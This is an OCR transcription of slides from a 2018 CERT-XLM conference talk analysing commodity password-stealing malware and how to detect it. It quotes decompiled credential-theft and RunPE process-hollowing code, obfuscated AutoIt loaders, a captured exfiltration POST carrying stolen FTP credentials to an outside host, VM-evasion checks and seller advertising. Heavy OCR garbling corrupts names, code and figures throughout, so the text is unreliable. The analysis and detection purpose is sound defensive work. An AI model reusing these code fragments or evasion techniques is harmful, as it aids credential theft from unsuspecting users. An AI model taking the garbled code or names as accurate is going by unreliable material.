A little tour In
the little world of
passwords stealers

Paul Jung
CERT - XLM

TLP:White



What is a PWS

Av’'s Industry says...
e PassWord Stealer

e PaSsWord

e |Information Stealer
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http://banthem.excellium-services.com

What can it steal ?

» Credentials in browser
e Credentials in configuration files/registry
e Coin Wallets

e Serial numbers

-verything mainly in user land without auth.
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What can it stea
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PWS Objectives

Optionally...

e (Grab screenshots

e Key logging
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How 1t works (usually)

« Buy the tool, or find an open / cracked one

[INSTANT DOWNLOAD] JLOG £ KEYLOGGER | WINDOWS, MAC OB X, LINUX | PASSWORD RECOVERY Thread Options

Marwix @
Uk nown Davalapar
LA B 84

/! TERMIMAL TONBOP
omeE W

-07-2017, (1206 DM (TR paar wea [asr masifias 11-29-2017, 11102 AN by Mare )

jLog Lifetime - - =05 £20
[CLICK HERE TO PURCHASE LIFETIME JLOG!
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How 1t works (usually)

e Forums or Yt are full of nice ads...
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AVG AntiVirus
Ad-Adware

ArcaVir Internet Security
Avast AntiVirus

Avira AntiVir
BitDefender
BullGuard

Clam AntiVirus
Comado AntiVirus
Dr. Web

ESET NOD32z
Emisoft Anti Mzlware
F-Prot AntiVirus
F-Secure AntiVirus
FSB AntiVirus

FortiClient
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DISABLES — = —=cmme =

ICEit Malware Fighter
lkarus Serurity

Immunet Plus

K7 Ultmate

Kaspersky Internet Security

KeyScrambler

AUtoLOG kills a total 182 AntIVirus and Anti-Malware processes, of which some notable ones are:

Panda AntiVirus
QuickHezl

Sclo AntiVirus
Sephns AntiVirus

¢
Q
o
o)
¥ Super AntiSpyware
{? Total Defense AntiVirus
)

= KingSoft AntiVirus Trend Micro Titanlum AY
0% MalwareBytes Anti Malware " TrustPort AntiVirus
® McAfee Security Suite & Twister AntiVirus
&3 NANO AntiVirus F%  VBA32 AntiVirus
(™ NetGate W Vipre AntiVirus
N Norman AntiVirus a Zoner AntiVirus
O Norton 360 ‘e eScan AntiVirus
@ Norton Internet Sacurity eTrust AntiVIrus
) Qutpost Security rFrotect
¥ Ozone AY 66 G Data
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FILFZ7ILL A

CORCFTP

FTPNAVIGATCR

CYEFRDUCK

PUTTYCM

WINSCP

GCOGI F CHROMF

MOZILLA FIREFOX

FILEZILLA

MOZI | A FIRFFOX

OPERA BROWSER

PIDGIN

PASSIORD RECOYERY

INTERNET =XPLORER

CPERA BROWSER

PICGIN

SKYPE

JITS

CUTLOOK

THUNDEREIRD

SQL DEVELCPER

JITSI

THUNDFRRIRD

SQL DEVELCPER

CB VISUALIZER

DR VISUal '7FR

SQUIRREL

WLAN CREDENTIALS
GFNFRIC NFTWCORK

LSA SECRCTS

WINDOWS HASHES(LM/NT)

NFT PASSPORT

SQUIRREL
NFTWCORK MANAGFR
KWALLET

GNOME KEYRING
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Since the primary passwerd recovery tool may be a bit heavy Including all these passwords recovered, we have provided an alternative compact
password recovery tool so that you can use it for your convenience, as well as for lowering tha stress on the system. No other kevlogzer offars
such a feature

o GOOGLE CHROME (ALL VERSIONS) Ol MICROSOFT OQUTLDOK (ALL VERSIONS)
@ MOZILLA FIREFOX (ALL VERSIONS) 0 MOZILLA THUNDEREIRD (ALL VERSIONS)

> FILEZLLA (ALL VERSIONS) @ NO-IP (ALL VERSIONS)

I [ e — PRODIUCT RE'Y L T— N I

AUtoLOG also has &n option ¢f racovering product keys from popular entertainment madizc and games such as:

AUTOCAD €© VISUAL STUDIO SPUNTER CELL © 1612
:[ ADOBE ACRCBAT €© CORELDRAW COMMAND & CONQUER © MEDAL OF HONOR '[]
;[ ADOBE PHOTOSHOP € CALL OF DUTY CRYSIS © NEED FOR SPEED h:
i ‘ NERO €© BATTLEFIELD COUNTER STRIKE © sivarTy I ]
FIFA €© THE SIMS

(R |
11n

Further fectures inc'ude a cookie stacler which can be usad to hijock active sessiors and a Skyoe chat
history stealer with full logs of each convers&lion wilh 2ach contacl.
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How It works usuaily)

‘K D O |
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COOCKIE STEALER:
AUtoLOG is one of the very few keyvloggers which present a function to steal user
cockies which can be used for effective session highjacking.

-l -- WH_-—_'”/
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SCREENSHOT TRIGGER:
This unigue feature, exclusive to AutoLOG gives you a mechznism where the screenshot
lcgger will rapidly take screenshots when g certain window Is opened.
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How 1t works (usually)

 And they're plenty of those.

y s
NYANVA Y

KE A G E N
EASY - '
= OW3ND

every single tme. | THE BEST PASSWORD RECOVERY TOOL!

a0 bk even further on the legicy of AcelOG.
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Plenty of those...
O

/
Ardamaxa"'g,::cglsatex

Neutrino "<
Vulcan_logger %
Cyborg LOIymplc_wsmn

LiMitlessok I B 3 ? Enomﬂty

Prxator_Pam

Agen t_Tels;_I a
Sr._ nrini

J Pro_ Lrac EiP o n YSQ nti n¥|

JlogPassword Hacker

Galaxy Kniaht loaaerElysian
Keyb?seNgxu_slogggger Y
ISpy Hancitor
Autolog
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Plenty of those...

Jlog Java

Lokibot
Ardamax C

Azorult Pony EvilPony
Hancitor

NET
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How 1t works (usually)

e Composants

» Builder

FIRST 2018
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HOW |t WOrkS (usually

T Agent Tesla EXR

. C O | I I p O S a | I tS MAIN © LOGGER PASSWORD RECOVERY SETTINGS OTHERS BUILD EXPLOIT

SEND OPTIONS

_:) Web Panel

LOG OPTION?
Vieb Panel

Panel Link

» Builder

Eawil:  Example@gmail.com Exampleggmail.com
Password: (Wi smitp.gnail.com
11| Predator Logger -
About the Crack Cure RS Host
semame
Delivery Delivery
Recove
Y @ o PHP ..
Settings
http://rexsniper blogspot .com| Test
Binder
CShaovw ~,:_:
Downloader Show =g
Options Show
Tools ~ Enable SSL Port:
= Interval foral: 10 . minutes

E « Save these settings
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How 1t works (usually)

FIRST 2018
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How does 1t comes
(usually)
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Panel

* A couple of them need a php panel

d

DDashboard

[ —
[ scrcenshos
[ -
I [P

[ oecteross
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Quality is not constant

« JPro Crack Stealer
* Predator Pain

e Pony

e Autolog

 Agent lesla

FIRST 2018

20



21

JPro Crack

The “opportunistic” one

33333333333333333333333333333333333333333333333333333333333333
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JPro Crack

e Diagnostic wallet for truck engine
 From Noregon

e Cracks are available on forums

Fig. A | P/N: 263025-NS

JPRO Professional Diagnostic Toolbox w/ Next Step

| |
° |\| Ot a| | crac kS are Wor k| N g we | | + 0 Profassicasd Diogrostc Sawers (Aerud Subocrption
+ Next Step Servi : hon
+ Fonaso
+ DLA+ 20
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JPro Crack

e Steal creds

L I m—
{
. ‘ checkac
i
d Flrefox wol resalt;
Ly
t

striazg[] appoetalaldsrs - tai<.hetapphatal olzers();

11 o irl 1 =9; 1 < zupDalaFolders. ; it+)
* Google Chrome = il o= 8 :

) string str - appintalold=rs|i];

T il {Fole Bxisla(ali = "\localWSuugle\\Clhrome\\Jser Dal=A\\Dela 1L\ \Logii Dala"))

1L {

= GCla=<1 gCla<< - new (Clas<1(<tr + "\\lacal\\Google\\Chroms=\\llser dnta\\Detrulti\l agin Date");
* Opera Browser = pelens RealTeslei Lonion™)

18 nt srg 53 0 - 9;

int fum = pf | B A ount() 13
20 ant ~.w2 - arg 53 0O;

. . 21 whil= {Lrue)
e Pidgin 2 . e
2 i~t arg 27 € - .m2;

L nun3 - num;
if (arg_0/_86 > aum3)

Thunderbird ; —

H
29 sbiring vzlue = gllass GzlValue( w2, "origin url");
string vslue2 - sClass.Getvalue( um2, “ucername_value");
. . 31 string viluc3 = sLlass.botvaluc(rue2, "oossword_valuc™)s
I:I |eZ| | |a 12 =tring <tring = fanversions. ToString({T-teractio- . TT(<tring. TsNul IOrTuntyival =), ",
Lhis .Derrypl{E wuding. -G lByles(value3))));
33 Class? itew - na2w Class7()\ccountType.Chrome, value2, string , vslue);
tnis Adrn{item);

35 nom2—;

e Proxifier e

|

resinlt - triase
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JPro Crack

* Detect av's and firewall through WMI

e root\SecurityCenter

e SELECT * FROM FirewallProduct

e SELECT * FROM AntiVirusProduct

FIRST 2018
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JPro Crack

 Report In clear txt

e In an ugly way

FIRST 2018
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POST /Temp/Upload.php HTTP/1.1

Content-Type: multipart/form-data; boundary= 8d4c5f96eb2e819
Host: 1@2auto.com

Content-Length: 961

Expect: 18@-continue

Connection: Keep-Alive

HTTP/1.1 188 Continue

8d4c5f96eb2e819
Content-Disposition: form-data; name="file"; filename="john_07.08.17.txt"
Content-Type: application/octet-stream

Computer Info: 08/67/2017 12:04:85
Current user: pc_8\john
0S FullName: Microsoft Windows 8.1 Enterprise Evaluation
0S Platform: Win32NT
0S Version: 6.2.9200.0

Total Physical Memory: 2,00 GB
UL Culture: en-US

Keyboard Layout Id: 1833
Culture Display Name: English (United States)
Culture Native Name: English (United States)
Antivirus: Windows Defender
Firewall: No Firewall

o

HostName: pc_8

FileZilla

Domain: 1l-al-al-alzp0]
Username: myuser
Password: mypass



JPro Crack

Jpro 2016 v2.1 Patch

JPRO

PROFESSIONAL

Activate

Assemb’y Txolorer
> M 3ace lyoe and Irteraces
> Ml Denved lypa:
D, ccter(): verd DOLLOVIZE
P cter(): veid @06000027
5’. BackgroundWorker|_DoWerk(objzc:, DoWerkEvent/irges) : void @0GC00C3,
2, BackgroundWorker|_Run\VorkerCompleted(okjzct, Rur\WWorkerComp etec
5’. Button |_Clickiob ect, EventLrgs) : void @0600003C
) Dizpose(bocl) : void 0602231
5% Form|_Load(okjzct, Evantirgs) : voic 03030038
D, nitizlizeComponent() : vo d ®O6000032
5;’. __ENCAddTolist(objecs) : void 06000030
> }; RackgroundVinreer! : RackgraiandWarker 7700003
> ¥, 3utton : 3utan G TOODNT
> #, DirtureRoel 2 PictareRox @ 700NN

ca - R T
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I' n<N.Foarml
' Tokzr: 9x0600603C
privat= void Duttonl_
{

}

SEWUN

R
C

- X Button1_Clickiobicct, EventArgs) : void X
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JPro Crack

06-07-2017, 05:24 PM

5
DetroitTech1980 4
Location Offline
Senior Member

RE: Noregon JPRO Commercial Fleet Diagnostics 2016 v2.3 + Crack

Has anybody checked this and confirmed it work with ZERO virus?

FIRST 2018

sts: 684
Joined: Aug 2013
Reputation: 260
Thanks: 344
Given 1332 thank(s) in 331
post(s)
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Pony

The most “Famous”
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Pony

« Named by Kaspersky and Microsoft as FarelT
* [nthe field since 2011, multiple versions
 Code is “open” now

e Builder in Delphi

e Stealer in Assembler (MASM)

FIRST 2018
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Pony

Used often as dropper

* [ry credentials to brute force local accounts
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Pony

FTPControl FTPNow
Yandex_Web_Browser gitegin

FTPSurfer /oo TP Visual_Site De.ggner 2

DeluxeFTP EasyFT .
| uck silezila % FTPRush
% C’be o@g:mé( R0 Mg

K Mozilla Comodo_Dragon 9 o N, Anoncoin
FreshFTP \de‘thows PromShares Worldcoin - inderbird
2 WebDrive | agcoin NovaCoin NovaFTP
e WebDrive Quarkee Terracoin WinZip Windows_Mail
. ChromePlus Sea
Nk;.hl'?lme Peercoin Freicoin Ne})%rgt\;e
AR Fling yacoin
32bitFTP ¢, Zetacoin G%'dcqég &
5|ffl-'l'P ) w Q‘ H'( e P
MyFTP & ' ctrum %, Frpm5| |
Chromium QQ-di( !
Mall Luckycom SmartFTP
egaCoin 5
Firefox WnnSCP 10coin
WInFI‘P lrihlteain
FTPGetter ALFTP FTp Fastooin. J U::raFXP .
unkcoin ,.,T,,_ﬁ :
OUUOOK Feathercoin ExpanDrive e
V,: o . FastTrackFTP
Frankocoin w BD'FTP
Bromium Flock CooINovo Namecoin NexusFile
FTPDisk MultiBit Live Primecoin ‘SecyreFX Devcoin
Opera_Browser GoFTP 4}‘ Directory_Opus FFFTP veaverss ’§
Global_Downloader 0, WebSitePublisher Dre |

WiseFTP ClassucFT'P 0/‘ Odin_Secure F'.P_Ew

Bu ‘_L’ Hof BBQooin
Google ChromeL ffeeCUDF]

Frigate3FTP
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Pony

e Reports to “gate.php” using POST

« Ua by default

“Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0)”

e Basic security to avoid detection

{

if (strlen($received report data) == 0)

{
// received empty report
// return 404
$pony db->add log line(‘NOTIFY GATE RECEIVED NULL REPORT",

CLOG_SOURCE_GATE, null, $%$ip);
header ('HTTP/1.0 404 Not Found');
header ('Status: 404 Not Found');
$ SERVER['REDIRECT_STATUS'] = 404;
if (file exists('404.html'))
echo file get contents('404.html");

die();
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Predator Pain

The“laziest”

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

FIRST 2018
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Predator Pain

* [n the field since 2008, multiple versions
o Written in .net

e Could report in http, smtp and ftp

FIRST 2018
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Predator Pain

* Does not retrieve anything by itself !

[17:59]:[~/predator_pain/pp]\:::

$decrottePE.py sample.exe

[i] Scanning sample.exe

>Seeking / Searching for PE

[*] Found PE _0O.exe 517632 bytes saved
>Seeking - Searching for PE

[*] Found PE 20804 .exe 6656 bytes saved
>Seeking / Searching for PE

[*] Found PE_27465.exe 345600 bytes saved
>Seeking | Searching for PE

[*] Found PE 379310.exe 98816 bytes saved
>Seeking / Searching for PE

FIRST 2018 GCcLLIUM



Predator Pain

49 return false;
11 )
. if (!string.IsNullOrEmpty(optionalArguments))
4 {
44 hostProcess = hostProcess + " " + optionalArguments;
b )
if (!CMemoryExecute.CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, 4u, IntPtr.Zero, null, new byte[68],
array4))
17 {
18 return false;
49 }

CMemoryExecute

intPtr = new IntPtr(*(int*)(ptrd + 52));
NtUnmapViewOfSection((IntPtr)arrayd4[0]), intPtr);

7 if ((MemoryExecute.VirtualAllocEx((IntPtr)arrayd[0], intPtr, *(uint*)(ptrd4 + 80), 12288u, 64u) == IntPtr.Zero)
22 {
this.Run(exeBuffer, hostProcess, optionalArguments);
- y
’ fixed (byte* ptr9 = ZexeBuffer[@])
{
CMemoryExecute . NtWriteVirtualMemory((IntPtr)array4[@], intPtr, (IntPtr)((void*)ptr9), *(uint*)(ptr4 + 84), IntPtr.Zero);
’ )
for (ushort num2 = ©; num2 < *(ushort*)(ptrd4 + 6); num2 4= 1)
{
Bu .BlockCopy(exeBuffer, num + array2.Length + array.Length * (int)num2, array, 0, array.lLength);
53 fixed (byte* ptrl@ = SexeBuffer[(int)((UIntPtr)(*(uint*)(ptr2 + 20)))))
54 {
S CMemoryExecute.NthriteVirtualMemory((IntPt )nrrny4[e], (IntPtr)((long)((int)intPtr) + (long)((ulong)(*(uint*)(ptr2 +
12)))), (IntPtr)((void*)ptrl@), *(uint*)(ptr2 + 16), IntPtr.Zero);
56 )
4 }
(MemoryExecute .NtGetContextThread((IntPtr)arrayd4[1], (IntPtr)((void*)ptr8));
(MemoryExecute . NtWriteVirtualMemory((IntPtr)arrayd[0]), (IntPtr)((long)((ulong)(*(uint*)(ptr8 + 172)))), intPtr, 4u, .Zero);

*(int*)(ptr8 +

] MemoryExecute.
(MemoryExecute.

return true;

176) = (int)intPtr + (int)(*(uint*)(ptrd + 40));
NtSetContextThread((IntPtr)arrayd4[1], (IntPtr)((void*)ptrs));
NtResumeThread((IntPtr)array4[1l], IntPtr.Zero);

FIRST 2018
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Predator Pain

* |t loads and executes recovery tools from memory

Mail FassView

Apolicetion Corail

WebBrows=rPassVi=w
Pacownrd

W=z=bE1owsePassview

‘A}g Witk rowsetrazaVizwe v1.40
\50 Cupyiyht (L) 207 - 2073 Ni Sule
h

ttp: S fwww_nirsoft. net

0 Fasswords NirSofl Freeware. hmtpefwww.nirsofr.net
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Predator Pain

e Configuration is ciphered with DES/AES

e |t reports with “GET”

[URI]?thame=[FIL

FIRST 2018

~NAM

- |&data=[DATA]
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AutolLog

Another “essLazy”

2222222222222222222222222222222222222222
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AutolLog

 |n the field since 2016

e Autolog is written in AutolT

e Seen packed in .NET

* Painfull as a Javascript :)

FIRST 2018
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http://dot.NET

stub.au3.509 Notcpad
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2030720 [A4F+203120[PAFT203120[ A4F12231 26 [ A4AF+203020 [ ALFHAFARFAFARS [AAFTATRAR97ARC 75735
47[04Ct203120[P4CtC96L74205175610C557479[BALt5175615C637475[D4C+203120[0LLt544540 [0«
59304657617539[€4Et6B554856305858523154454A BAEt31[9LELL553467456574D393054424E4654:
363754D58LA5C63[0401203020[0401203120[€4012031303020[04Lt2€3220[04Lt4658684233€3324]
D616C| 04E1/765626D€17374657240616D536F77656(642E636F6D2E6D /9| BAET456967687469733338
E612072697A553D213E[04E-204043524C4620[04EL3C7460745(653E4C6M677220[04EL20405572657.
(B4ET2031593620[04ET203020[ 04T 2E[94Et A BAET2031383829[04E1203020[04Et2C[9LEL SB[ €4l
03120[04Et2231313320[G4Et3(666F5E7420636F6C6F723D234645383€3030203E7B46327D3C2F6hEF(

< >
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AutolLog

Global $a536080041¢c = a4600006061($cw[1]), $a1a60a05f4c =
a4600006061($Scw[2]), $a0660b02754 = a4600006061($Scw[3]),
$a5e60c01e15 = a4600006061($cw[4]), $a2460d0140a =
a4600006061($cw[5]), $a1660e03a06 = a4600006061(Scw[6]),
$a1560f02d5e = a4600006061($cw([7]), $a2e70000721 =
a4600006061($Scw[8]), $a3270202010 = a4600006061($Scw[9]),
$a397040024d = a4600006061($cw[10]), $a507060060e =
a4600006061(Scw[11]), $a0870800826 = a4600006061($cw[12]),
$a1970a04f0b = a4600006061($cw[13]), $a4270c06247 =
a4600006061($Scw[14]), $a5470e03d0a =
a4600006061($cw[15]), $a2b80001d00 =
a4600006061($cw[16]), $a108020631a =
a4600006061(Scw[17]), S......

FIRST 2018
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AutolLog

Obfuscated
AutolT
code

Data file

Func a4600006061($a4600006061)
Local $a4600006061_
For $x = 1 To StringLen($a4600006061) Step 2
$a4600006061_ &= Chr(Dec(StringMid($a4600006061, $x, 2)))
Next
Return $a4600006061_
EndFunc
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AutolLog

Obfuscated
AutolT
code

e Autoit has an eval() function

Data file

$a5ef8203511 = Execute($a59f8303224) & $a15f8403357 &
Execute($a1bf8506331) & $a51f860605b &
Execute($a3af8701028) & $a63f8805a42 &
Execute($a57f890304f) & $a15f8a01c39 &
Execute($a38f8b00c32) & $a1ff8¢c01c1b &
Execute($a10f8d04920)
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AutolLog

* Autolog takes regular screenshots

* Nice colourful key logger logs

e Communicates via SMTP
 AutolT allows direct API call

e |t logs keys by using Dllcallback bind on
Keypress

FIRST 2018
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AutolLog

Also Check for virtualisation by looking processes :

if ProcessExists(a3a6050431b(a5a60605046($a0d1¢701d59))) Then Exit ;

-VboxService.exe

- VMwaretray.exe
*Vpc.exe
-VBoxTray.exe
-VmWareTools.exe
-VmwareService.exe
-VBoxexe

FIRST 2018
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AutolLog

* Autolog does not retrieve passwords by itself

* Autolog downloads and uses “lazagne”

https://github.com/Alessandro//l aZagne

T ( 33 ..‘\

FIRST 2018
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https://github.com/AlessandroZ/LaZagne
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Agent Tesla

The“professional”

4d9baf06a89e1109d8d2ac3fc4855beb6e648c5bd

FIRST 2018




Agent Tesla

 Agent tesla is simply sold online

agerf
tesla

WELCOME TO AGENT
TESLA

Create an account and buy now.

REGISTER NOW

FIRST' 2018



Agent Tesla

 But agent tesla is not a malware !

WHAT IS

Agent Tesla is a software for monitoring your
personel computer. It is not a malware. Please, don't

use for computers which is not access permission.

WHAT IS

Any use of the words "Slave", "Infect”, "Bot", "Spread"
or "Hack" will instantly cancel all your support, and if

we have your username you will be banned. Agent Tesla is modern powerful keystroke logger. It

provides monitoring your personel computer via
keyboard and screenshot. Keyboard, screenshot and
registered passwords are sent in log. You can receive

your logs via e-mail, ftp or php(web panel).
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Agent Tesla

 But agent tesla is not a malware !

£ Voulube agent tesla SE CONNECTER

Ancueil ,‘_
A

- - gent Tesla

Tendances ' 102 abornes

Histcngue ACCUEIL VIDEOS PLAYLISTS NES DISCUSSION

LE MEILLEUK DE YOUTUBE _— : . B ) . ‘ .
Vidéos mises en ligne - TOUT REGARDER = TRILRPAR

Musique

Spart
Jeux vidéo et sutr._

Flims

o o Acent Tegla Web Panel Setup Agent Tesla Macre Cxploit - New 'Web Fanel - Agent Tesla Agent Tesla v3 - New Desigr
Frniesiars télavie.. & Build Server DCC/XLS Cenverter 1 &k vues « v a 2 mals Materizl Skin

623 vues il y 4 5 3 vues tilval muis HOB vues il

Actuzl tés

LA direct

Vidéo & 350 degrés

06000 00VDBEO

Acent Tegla-FIP Delivery Agent lesla- Uypass LSEI Agent lesla SMIP And Lasic Agent 1esla Runtime lest
Keylogger/Recovery/Screenst NOD3Z2 10 an Runtime Installation [Avira & Norton]

Connectazous mainterant 499 vuus * 5 m1ois 342 vuess * il v 3 5 ois 17k v

FIRST 2018 =
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Agent Tesla

* Buy online in Bitcoin/Perfect money $12/m, $69/y
* Net code

 Reports in smtp, ftp and http

e Builder Is auto updating

» Crypter is part of the package (another painfull .net

* Macro based dropper is also part of the package

FIRST 2018
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Agent Tesla

« POST to “api.php”
» Steals 33 applications
* (Grab screens

 Decoy Messages

FIRST 2018
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Agent Tesla

* Every string Is ciphered using Industry standard.
« PBKDF1 SHA1 Password derivation
e using API .getbytes to upgrade key from 20 to 32 bytes.

« AES 256 CBC

string oSFullName = Q.DV 4.Info.0SFullName;
if (oSFullName.Contains(_ .A("jt4IXyzFY+P3zfek/0mkCA==")) |
oSFullName.Contains( .A("WY/qFt+dX2Df9K1laXwh7Dg==")) |

oSFullName.Contains(_.A("yEL14N1Rz7vMnB6B63zUbg==")))
1
int num = Conversions.ToInteger(Q.DV 4.Registry.GetValue( .A
("K@ocYIdpS1FAvhxHrgztFQgMSAGTRAY34E023ag/X4fpmLi/0

+20Ac6XwWZSCbadNtIahNa8OMTpAMCWN3QkiFxTHYRWD20vLT9n80C991Ds="), .A

("1jbSAUdegpthUWZIA.HV\V::" -

FIRST 2018

LA("84htGIRBcIVATCAWL9pcMw==")));
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Agent Tesla

e |t's quite hard to audit the panel

* protected by loncube

<?php //0046b

if(!extension_loaded('ionCube Loader')){$ oc=strtolower (substr(php_uname(),0,3));% 1n='ioncube loader_ '.
$ oc.' '.substr(phpversion(),0,3).(($_ oc=="win')?'.dl1l':"'.s0');if(function _exists('dl')){@d1($_1n);}
if(function exists(' il exec')){return il exec();}$% 1n='/ioncube/'.$ 1n;

$ o0id=%$ id=realpath(ini_get('extension _dir'));$ here=dirname( FILE );if(strlen($ id)>1&&$ id[l]==':")
i3 Fatal error:

(s The dle /home/uptyperw/public_html/sma/NWeb/index.php was encoced with the PHP 5.6 ionCube Encoder and requires PHP 5.6 to be installed. in Unknown or. lire 0

T~ ~ o i ~

{@dl(%_[n), relse{die( Ihe tile . FILE .7 1s corrupted.\n ), jit(function exists( 1L exec )){return 1L _exec(),}
echo('Site error: the file <b>'. FILE .'</b> requires the ionCube PHP Loader '.basename($ 1n).' to be installed by
the website operator. If you are the website operator please use the <a href="http://www.ioncube.com/1lw/">ionCube Loader
Wizard</a> to assist with installation.');exit(199);

2>

HR+cPwGjn/1rPF/PnmOgKjFX5P2G2SH4P7LUHPMugADXx5/THG5pr1ar®OLn0OQAj92BSKHTYmjvaUM
SdfUPKkAVvKeo7RgJWXE8rZe9UVXen5WT7xqfHDX/TLYyfFbbd9z13YNUCYgnk/cNEbjBa+1HKSMev
umxDRbtZoker18qCALWMP8yf4JjAVLqwUV2d7E8TiPQ3L9/Gg2bky1L2NoIr417TdBrlalLYIe7A2
LtsfGtffeWR7GpGe3zaFsWWWvuK1ttFBtDalIYxYV6xBY/yWjoesuDbNHZavbP1ZHV3sa6sdXq6Gm
1J41JcASZwcVttvSS5Qg7t5qwPH7+SpYFmvdjbtYDIzugCNFJZCUvCjSRXC+0cNOx/rZ10deT/ho
5IghTmbtTOb6YIPiTFVSanE15KEz20cvKup/0Oh2v5BA1BVRUGRYgNPZWZ/1TEwhjzmkRTEAGJyK5
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Agent Tesla

* Luckily, security on panels is often weak...

/Screens
Index of /kKati/Screens/382E-80E0-7B75-8FD2-160B-4E2F-86B(C-2882/ScreenShots

FIRST 2018
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Agent Tesla

7?7 02/14 2.6.8 04/15 3.0.0.0 07/17

2.6.2 06/14 2.9.5.2 10/16 3.2.4.9 12/17

Last version :
https://www.agenttesla.com/version.html 3.2.52

FIRST'2018 G CcecLuLIUM



https://www.agenttesla.com/version.html

Agent Tesla

agunl_lusla
Skype

PFrofile Photos
g T

104274570923810303088

FIRST 2018

20"7 CloudFlare
w.com

/ 02 2014 UC UL SUSHIVSESPOa AW
0
Google +

012013
Agent_Tesla
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agent_‘rsla S|
Piotile Photos
104274570€23810303088 0 /
Google +
LW IeCaUSYVSSPOAGEN 44w 02 2014

Youtuba
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01 2013
Agent_Tesla

Agent Tesla
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TRE50001002122616221825001

mcanozayoin@gmal.com
02 m'"» musiafa can Ozavdin
W Anuy;:

hillps./fwww facebook. conVAgenTesia/p
Facebook

102014

hitpe:ftwitter.com/ageni_teela
Twitter
122014
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Classification

Ad-Aware

Apzisl ah

>

AhnLab-\3 AlYac

Antiv-AVL Arcatkit

Avast AVG

Avirg AVivare

BhDofender CAT QuchHcal

Comodo CrowdStrike Falcon

Cybereason ciance
Cyren W3Z/Faret WIYA-212: Orwek
Emsisaort ndgame

eSuan ESET-NOC32 Wins2/PSWrareil.L

F~"rot

Fertinct GCata
Ikarus Jlangmin
KiAntinus K7W
Kzspersky Trofan-FSWWIin32.Fareithh Mzlwarebytes
MAX MCAe
ML ATee-CW-Editun Mirusuft
NANO Arthvirus nProtoct

Pzaln Ao Networks Panda

Ohoo-360 ldng

PR R>RPRPEBERPRPEPEBEEPERPRDDDD D

A
A
A
A
A
A,
A
A
a -
A
g
A
A
A
A
A
A
A
A
A
A

SentinelCne Sophas AV
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Classification

* A lot of yara rules already exist

 https://github.com/Yara-Rules/rules

 https://github.com/Th4natOs/Yaramoi

* Need to be unpacked first !

FIRST 2018
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https://github.com/Yara-Rules/rules
https://github.com/Th4nat0s/Yaramoi

Classification

e Auto unpack

e 32 bits

« RUNPE

¥

ﬁ CcpPJ dg' Grach

shrxeac i3 [bxidge) 204
FrEY-HON] Executing script "G\ ‘azercy®
-=> 2rxcaking CrecatclcmotcThxecad
Rreakpninr A1reardy 3ET!

3 Dreaking NtWritaViztualMenmaxry
Rreakpnint alreany =et)

3 Dreaking WriteProcess
raakpoint alraady aetl
== Breakiny LuadL_oraryd
Braakpeint alrxeady aetl

» Breakiny LvadL_zas

alxcady oct!
3reaking LoadL.bra

cakpoint alxcady osct!
-—2> Rr¥eaking TnadT.- Nraryk
Dreakpoint already set!
=-=2 RAYeakiIng FeamaATrrazas
Dreakpoint already set!
== HArveaking (Teatebkrnrasal
Dreakpoint already set!
-=% draeaking Lreataebzocazal
Breakpuinl alzeady seu!
[CYTHON| Exgoution is doral
INTS bre=skpuitl ol ~vkeine 32 . Loedlibiiaryds

Das

-=> DJu4041£5 call Lacdl in Fcrnel3d.d’l
DLL Lcad=aCc: Jciz2 ] Co\WiT \S; oNes mevert.dll

INT2 bxcahipoirnt ot <hcrnc_232.C 2I'roccasd>

MNENI43l raA11 CreamaProceas
3 Dreaking printf
Rreakpnint alreardy =&t

™ Memory Map

xzoplunpacsk_rarpe.py”

3> Zxec Param at 0x4050Ie ¢ o Wiéd\c-tmon.ex=
Bhuy-trirg- "Appl-~stiar 4 LN T I AW\ S ZIRINAL A\ rt TN ARe\ "

INTI breskpoint at <ntdl]l _NtWriteVirtualM=mory>

LNIZ braakpoarnt at <kernec_3i.Nraitaebroce
> Da<03%€3e call WeiltePruvessMenwry Lo
-=%>Sactior invelvaed Cx2J3C00 for 0:x4C00 by
MZ Townd in suvucce =L Ox3S0

as Cx71%4 ir Ouso

|' Cal Stadk

rmngd 1IN CcACNEVNT

64

https://github.com/Th4natOs/Chall_Tools/blob/master/malwares/unpack_runpe.py
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Classification

| hate .NET packers !!!

e Start > No Break > Debug > Modules

\u0094\u008F() : void X

] /7 \u8894\ueesD. \utes4\ueasc

// Token: 0x06000020 RID: 32 RVA: Ox00002A9C Fi Offset: @x00000C9C
[MethodImpl(MethodImplOptions.NoInlining)]
private static void \u@@94\u@esF()

{
t - "','
{
\u@e94\uee9s. \uee94\ube9Cobject, MethodBase>(\u8@93\u0a9l. \udB9:3

null, null, 941, '0");

P93\uBB94<Assembly>(\u@094\u092.\uBd94\uoess,

262, 256),

65
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Classification

e RunP

M
=3
O
O,

.het .het

FIRST 2018

PEStart(string, byte[, string) : bool X

wiki.PE
' Token Ox0GCO0E605] RIC: 03 RVA: 6x060041340 MNile Dffset: 0xD0OEO2548
wmhlic static haol PFStart(strinz hostProcess, hyt= buffer, string commandl ine
[ 2 > M > g

{

int num = A;
do
{
.Jrocessid = .DoInjectPE{hostProcess, buffer, commzndLine);
numli |3
“hrzad.Sle=p(1060);
T
Prucess.GelFrocessEyId(PE.processId) .Dispuse(); I
calih
processIv = -1;
H

while (2E.proc2ssld == -1 && num < 5);

return false;




Classification

e RunPE ! nice... UPX... nice

$file out.exe
out.exe: PE32 executable (GUI) Intel 80386,

.het .net UPX

FIRST 2018

for MS Windows,

UPX compressed
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Classification

Graph overview

5 START OF FUNCTION CHUNK FDR sub_ 403D19

loc_AaZi1cen: ; ulype

push 10h

push offFset byte 4B28F4 ; 1pCaption

push otkset alhislsAlhirdPa ; Ihis 1s a Cthird-party compiled Autolt s~

push phx ; hlnd

call ds: ; char aThisIsAThirdPa[]

jnp loC_HYSEAE  13ThisIsAThirdPa db 'This is a third-party compiled AutolIt script.',®

.het .net UPX AutolT
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Post Detection

 Some panels are easy to spot in your logs

- KEYBASE

« GET POST.PHP?TYPE=...&MACHINENAME-=...
- LOKIBOT

» POST FRE[D]?[.]PHP

 UA : (Charon; Inferno)

FIRST 2018
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Post Detection

- DIAMOND FOX, PONY, HANCITOR or... ?

« GATE.PHP

FIRST 2018
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Post Detection

- Most of them share the admin and reports

- Pony, Lockybot, Tesla etc... do that

Index of /pony

o Parent Directory
e 404 html

e Account summary.exe
e admin.php
e config.php
e dump.sql

e dump2.sql
e dump3.sql
e dump4.sql
e gate.php

e includes/

e redirect.php
e robots.txt
e setup.php

e temp/

